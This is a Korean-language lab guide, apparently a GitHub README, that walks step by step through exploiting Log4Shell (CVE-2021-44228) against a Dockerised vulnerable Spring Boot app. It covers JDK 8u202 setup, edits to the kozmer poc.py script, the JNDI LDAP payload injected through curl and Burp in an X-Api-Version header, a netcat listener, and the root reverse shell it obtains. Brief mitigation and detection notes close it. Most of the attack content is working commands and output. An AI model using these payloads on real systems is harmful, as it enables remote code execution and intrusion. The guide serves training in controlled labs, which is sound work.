
Hands-on lab for exploiting and understanding Log4Shell (CVE-2021-44228) using Docker, Kali Linux, Burp Suite and log4j-shell-poc. For teaching and defensive training in controlled lab environments only.
Log4Shell(CVE-2021-44228)은 지금까지 공개된 원격 코드 실행 취약점 중 가장 영향력이 큰 것 중 하나입니다. 널리 사용되는 Java 로깅 프레임워크인 Apache Log4j 2에 영향을 미치며, 공격자가 로그 메시지의 JNDI lookup을 악용하여 임의 코드를 실행할 수 있게 합니다.
이 가이드는 다음을 사용하여 완전하고 재현 가능한 데모 랩을 제공합니다:
log4j-shell-poc이 자료는 통제된 환경에서의 교육, 연구, 훈련 및 방어 인식 제고를 위해 설계되었습니다. 구조와 스타일은 동반 "Shellshock" 랩 README와 동일한 정신을 따릅니다.
poc.py가 JDK 1.8.0_202을 사용하도록 구성curl로 Log4Shell 악용이 랩은 반드시 명시적 승인을 받은 통제된 환경(자신의 랩, 교실 VM 등)에서만 수행해야 합니다.
Log4Shell(CVE-2021-44228)은 Apache Log4j 2의 치명적인 RCE 취약점입니다.
문제는 취약한 Log4j2 버전이 공격자가 제어하는 다음과 같은 문자열을 해석한다는 데서 발생합니다:
${jndi:ldap://ATTACKER_IP:1389/a}
이 문자열이 로그에 기록되면 Log4j는:
이 랩에서 여러분은 다음을 수행합니다:
log4j-shell-poc을 사용하여 Kali에서 악성 LDAP + HTTP 서버를 실행합니다.curl 및 Burp Suite를 통해 Log4Shell payload를 전달합니다.이 랩을 마치면 다음을 할 수 있어야 합니다:
모든 구성 요소는 기존 가상 랩 위에서 실행됩니다. 이 문서에서는 다음을 가정합니다:
핵심 아이디어
공격자는 다음을 주입합니다:
${jndi:ldap://192.168.1.4:1389/a}
HTTP 헤더에 넣습니다. 취약한 앱은 Log4j2를 사용하여 이를 로그로 기록합니다 → 192.168.1.4:1389로 JNDI LDAP lookup을 수행합니다 → http://192.168.1.4:8000에서 악성 클래스를 다운로드합니다 → 클래스를 실행하여 192.168.1.4:9001로 리버스 셸을 엽니다.
Kali에는 다음이 필요합니다:
nc).이 가이드 전체에서 Kali IP가 다음과 같다고 가정합니다:
192.168.1.4
IP가 다르다면 모든 명령어를 그에 맞게 조정하십시오.
PoC는 Java SE 8 Update 202(JDK 1.8.0_202) 에 의존합니다. 이후 Java 버전은 이 exploit이 사용하는 원격 클래스 로딩 동작을 제한하기 때문입니다.
Kali에 이미 OpenJDK 21(또는 유사한 버전)이 있어도 8u202을 별도로 설치해야 합니다.
mkdir -p ~/Log4Shell
cd ~/Log4Shell
미러 루트:
https://mirrors.huaweicloud.com/java/jdk/8u202-b08/
Linux x64 tarball 다운로드(약 185MB):
wget https://mirrors.huaweicloud.com/java/jdk/8u202-b08/jdk-8u202-linux-x64.tar.gz
ls -lh jdk-8u202-linux-x64.tar.gz # 약 185M여야 합니다
/usr/bin/jdk1.8.0_202에 압축 해제sudo mkdir -p /usr/bin/jdk1.8.0_202
sudo tar -xvf jdk-8u202-linux-x64.tar.gz \
-C /usr/bin/jdk1.8.0_202 --strip-components=1
--strip-components=1 옵션은 아카이브에서 최상위 디렉터리를 제거하여 파일이 /usr/bin/jdk1.8.0_202 아래에 직접 놓이게 합니다.
/usr/bin/jdk1.8.0_202/bin/java -version
예상 출력:
java version "1.8.0_202"
Java(TM) SE Runtime Environment (build 1.8.0_202-b08)
Java HotSpot(TM) 64-Bit Server VM (build 25.202-b08, mixed mode)
이 출력이 보이면 JDK 1.8.0_202이 올바르게 설치된 것입니다.
Kali의 새 터미널에서(~/Log4Shell에 있어도 됩니다):
docker run --name vulnerable-app --rm -p 8080:8080 \
ghcr.io/christophetd/log4shell-vulnerable-app@sha256:6f88430688108e512f7405ac3c73d47f5c370780b94182854ea2cddc6bd59929
다음과 유사한 로그가 보여야 합니다:
:: Spring Boot :: (v2.6.1)
Tomcat initialized with port(s): 8080 (http)
Tomcat started on port(s): 8080 (http) with context path ''
Started VulnerableAppApplication ...
http://127.0.0.1:8080/로 접근할 수 있습니다.빠른 정상 작동 확인:
curl http://127.0.0.1:8080/
Whitelabel Error Page(HTTP 400)가 보일 수 있습니다. 괜찮습니다 – 필요한 것은 앱이 실행 중이고 요청을 로그로 기록하는 것뿐입니다.
log4j-shell-poc 클론새 터미널에서:
cd ~/Log4Shell
git clone https://github.com/kozmer/log4j-shell-poc.git
cd log4j-shell-poc
파일 확인:
ls
# poc.py, target/, README 등. Exploit.java는 나중에 생성됩니다.
poc.py가 JDK 1.8.0_202을 사용하도록 구성기본적으로 poc.py는 리포지토리 안의 jdk1.8.0_20이라는 디렉터리에서 로컬 JDK를 찾을 것으로 예상합니다. 대신 JDK 8u202을 /usr/bin/jdk1.8.0_202에 설치했으므로 스크립트를 업데이트해야 합니다.
poc.py 열기nano poc.py
jdk1.8.0_20을 검색합니다(nano에서: Ctrl+W, jdk1.8.0_20 입력, Enter).
다음과 같은 세 곳을 찾을 수 있습니다:
subprocess.run([os.path.join(CUR_FOLDER, "jdk1.8.0_20/bin/javac"), str(p)])
exit_code = subprocess.call([
os.path.join(CUR_FOLDER, 'jdk1.8.0_20/bin/java'),
'-version',
], stderr=subprocess.DEVNULL, stdout=subprocess.DEVNULL)
subprocess.run([
os.path.join(CUR_FOLDER, "jdk1.8.0_20/bin/java"),
"-cp",
os.path.join(CUR_FOLDER, "target/marshalsec-0.0.3-SNAPSHOT-all.jar"),
"marshalsec.jndi.LDAPRefServer",
url,
])
다음으로 교체합니다:
subprocess.run(["/usr/bin/jdk1.8.0_202/bin/javac", str(p)])
exit_code = subprocess.call([
"/usr/bin/jdk1.8.0_202/bin/java",
'-version',
], stderr=subprocess.DEVNULL, stdout=subprocess.DEVNULL)
subprocess.run([
"/usr/bin/jdk1.8.0_202/bin/java",
"-cp",
os.path.join(CUR_FOLDER, "target/marshalsec-0.0.3-SNAPSHOT-all.jar"),
"marshalsec.jndi.LDAPRefServer",
url,
])
저장하고 종료합니다:
Ctrl + O → EnterCtrl + X이제 PoC는 /usr/bin의 JDK 1.8.0_202을 사용합니다.
~/Log4Shell/log4j-shell-poc에서:
python3 poc.py --userip 192.168.1.4 --webport 8000 --lport 9001
매개변수:
--userip – Kali IP(공격자): 예: 192.168.1.4.--webport – 내장 HTTP 서버 포트: 8000.--lport – payload가 다시 연결하는 포트: 9001.모든 것이 올바르게 구성되었다면 다음과 같은 내용이 보여야 합니다:
[!] CVE: CVE-2021-44228
[!] Github repo: https://github.com/kozmer/log4j-shell-poc
[+] Exploit java class created success
[+] Setting up LDAP server
[+] Send me: ${jndi:ldap://192.168.1.4:1389/a}
[+] Starting Webserver on port 8000 http://0.0.0.0:8000
Listening on 0.0.0.0:1389
중요:
LDAP 서버가 포트 1389에서 수신 대기합니다.
HTTP 서버가 포트 8000에서 수신 대기합니다.
주입할 정확한 payload가 출력됩니다:
${jndi:ldap://192.168.1.4:1389/a}
이 터미널을 계속 실행해 두십시오.
Kali에서 또 다른 새 터미널을 엽니다:
nc -nvlp 9001
다음이 보여야 합니다:
listening on [any] 9001 ...
이 리스너가 취약한 애플리케이션으로부터 리버스 셸을 수신합니다.
이 시점에서 다음이 준비되어 있어야 합니다:
poc.py.curl로 Log4Shell 악용먼저 원시 HTTP 요청을 사용하여 exploit이 작동함을 증명합니다.
새 터미널(또는 가능하면 기존 터미널 재사용)에서:
curl http://127.0.0.1:8080 \
-H 'X-Api-Version: ${jndi:ldap://192.168.1.4:1389/a}'
무슨 일이 일어나는가:
X-Api-Version 헤더를 로그로 기록합니다.${jndi:ldap://192.168.1.4:1389/a}를 보고 JNDI LDAP lookup을 수행합니다.poc.py 내부)가 HTTP 서버에서 호스팅되는 악성 Java 클래스에 대한 참조로 응답합니다.192.168.1.4:9001로 다시 연결하여 셸을 생성합니다.성공하면 Netcat 터미널에 다음이 표시됩니다:
connect to [192.168.1.4] from (UNKNOWN) [172.17.0.2] 48xxx
id
uid=0(root) gid=0(root) groups=0(root), ...
이제 Docker 컨테이너 내부의 루트 셸을 얻었습니다.
시도해 보세요:
id
hostname
ls /
다음으로 종료:
exit
Netcat은 수신 대기 상태로 돌아갑니다.
이제 Burp Suite를 매개로 하는 브라우저를 사용하여 동일한 exploit 경로를 시연합니다.
Kali에서 Burp Suite를 시작합니다.
Burp에서 Proxy 리스너가 127.0.0.1:8080에서 실행 중인지 확인합니다.
Firefox에서:
127.0.0.1, 포트: 8080.127.0.0.1에 대한 예외가 없는지 확인합니다.Burp → Proxy → Intercept에서 Intercept가 ON인지 확인합니다.
Firefox에서 다음으로 이동:
http://127.0.0.1:8080/
Burp가 가로챈 요청을 표시합니다. 예:
GET / HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 ...
...
Repeater에서 요청을 수정하여 X-Api-Version 헤더를 포함시킵니다:
GET / HTTP/1.1
Host: 127.0.0.1:8080
X-Api-Version: ${jndi:ldap://192.168.1.4:1389/a}
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
참고:
192.168.1.4가 다르다면 실제 Kali IP로 바꾸십시오.${} 문자를 URL 인코딩하지 마십시오 – 표시된 그대로 정확히 나타나야 합니다.Connection: close는 상황을 단순하게 유지합니다(선택 사항).poc.py와 Netcat 리스너가 계속 실행 중인지 확인합니다.다시 400 Whitelabel Error Page가 보일 수 있습니다 – 괜찮습니다.
Netcat 터미널을 확인합니다:
listening on [any] 9001 ...
connect to [192.168.1.4] from (UNKNOWN) [172.17.0.2] 37244
id
uid=0(root) gid=0(root) groups=0(root), ...
이번에는 Burp로 수정된 HTTP 요청을 사용하여 컨테이너에서 다시 루트 셸을 획득했습니다. 이는 현실적인 웹 공격 워크플로우를 반영합니다.
공격자가 JNDI payload를 제작합니다:
${jndi:ldap://192.168.1.4:1389/a}
취약한 애플리케이션이 Log4j2를 사용하여 이 문자열을 로그로 기록합니다.
Log4j2가 ${jndi:...}를 해석하고 JNDI lookup을 수행합니다.
lookup은 LDAP를 사용하여 192.168.1.4:1389의 공격자 LDAP 서버에 연결합니다.
LDAP 서버(marshalsec)가 HTTP를 통해 호스팅되는 공격자 제어 클래스를 가리키는 javaNamingReference로 응답합니다. 예:
http://192.168.1.4:8000/Exploit.class
피해자 JVM이 이 클래스를 다운로드하여 로드합니다.
클래스의 생성자가 192.168.1.4:9001로 소켓을 열고 /bin/sh를 바인딩합니다.
공격자의 Netcat 리스너가 들어오는 연결을 수신하고 컨테이너 내부에서 원격 루트 셸을 얻습니다.
실제 환경에서는 여러 방어 계층을 적용해야 합니다.
여전히 취약한 배포의 경우 다음을 추가합니다:
-Dlog4j2.formatMsgNoLookups=true
(해당되는 경우 – 일부 취약한 구성은 이 플래그만으로는 수정되지 않는다는 점에 유의하십시오.)
JndiLookup 제거심층 방어 조치로:
zip -q -d log4j-core-*.jar \
org/apache/logging/log4j/core/lookup/JndiLookup.class
${jndi: 또는 ${${lower:j}${upper:ndi}:와 같은 의심스러운 패턴을 로그에서 검색합니다.이 랩에서 사용된 명령어의 간결한 개요입니다.
mkdir -p ~/Log4Shell
cd ~/Log4Shell
wget https://mirrors.huaweicloud.com/java/jdk/8u202-b08/jdk-8u202-linux-x64.tar.gz
ls -lh jdk-8u202-linux-x64.tar.gz
sudo mkdir -p /usr/bin/jdk1.8.0_202
sudo tar -xvf jdk-8u202-linux-x64.tar.gz \
-C /usr/bin/jdk1.8.0_202 --strip-components=1
/usr/bin/jdk1.8.0_202/bin/java -version
docker run --name vulnerable-app --rm -p 8080:8080 \
ghcr.io/christophetd/log4shell-vulnerable-app@sha256:6f88430688108e512f7405ac3c73d47f5c370780b94182854ea2cddc6bd59929
cd ~/Log4Shell
git clone https://github.com/kozmer/log4j-shell-poc.git
cd log4j-shell-poc
poc.py Java 경로 업데이트(요약)다음을 교체:
os.path.join(CUR_FOLDER, "jdk1.8.0_20/bin/javac")
os.path.join(CUR_FOLDER, "jdk1.8.0_20/bin/java") # 두 번 사용됨
다음으로:
"/usr/bin/jdk1.8.0_202/bin/javac"
"/usr/bin/jdk1.8.0_202/bin/java"
python3 poc.py --userip 192.168.1.4 --webport 8000 --lport 9001
nc -nvlp 9001
curl로 exploitcurl http://127.0.0.1:8080 \
-H 'X-Api-Version: ${jndi:ldap://192.168.1.4:1389/a}'
${jndi:ldap://192.168.1.4:1389/a}
X-Api-Version: ${jndi:ldap://192.168.1.4:1389/a}
kozmer/log4j-shell-pocchristophetd/log4shell-vulnerable-appLog4Shell(CVE-2021-44228) 교육 랩 – 전 세계 학생, 방어자, 윤리적 해커를 위해 정성껏 제작되었습니다.
사랑을 담아 제작:
오만의 Haitham ❤️🇴🇲
| 구성 요소 | 역할 / 설명 | 도구 / 서비스 | 주소 지정 예시 |
|---|
| Kali Linux VM(공격자 + 호스트) | PoC exploit, LDAP 서버, HTTP 서버, Netcat 리스너, Burp Suite 실행 | Python 3, JDK 1.8.0_202, Netcat, Burp Suite, Docker, curl, Git | 192.168.1.4(예시 Kali IP) |
| 취약한 Log4j2 웹 애플리케이션 | 대상; Log4Shell에 취약한 Spring Boot 웹 앱 | Docker 이미지: ghcr.io/christophetd/log4shell-vulnerable-app | http://127.0.0.1:8080에 노출 |
| 설명 | 이미지 |
|---|
| JDK 설치 / 환경 설정 | ![]() |
| PoC 스크립트 실행(Trigger payload) | ![]() |
| 취약한 Tomcat 웹 애플리케이션 실행 | ![]() |
| PoC exploit 스크립트 업데이트 | ![]() |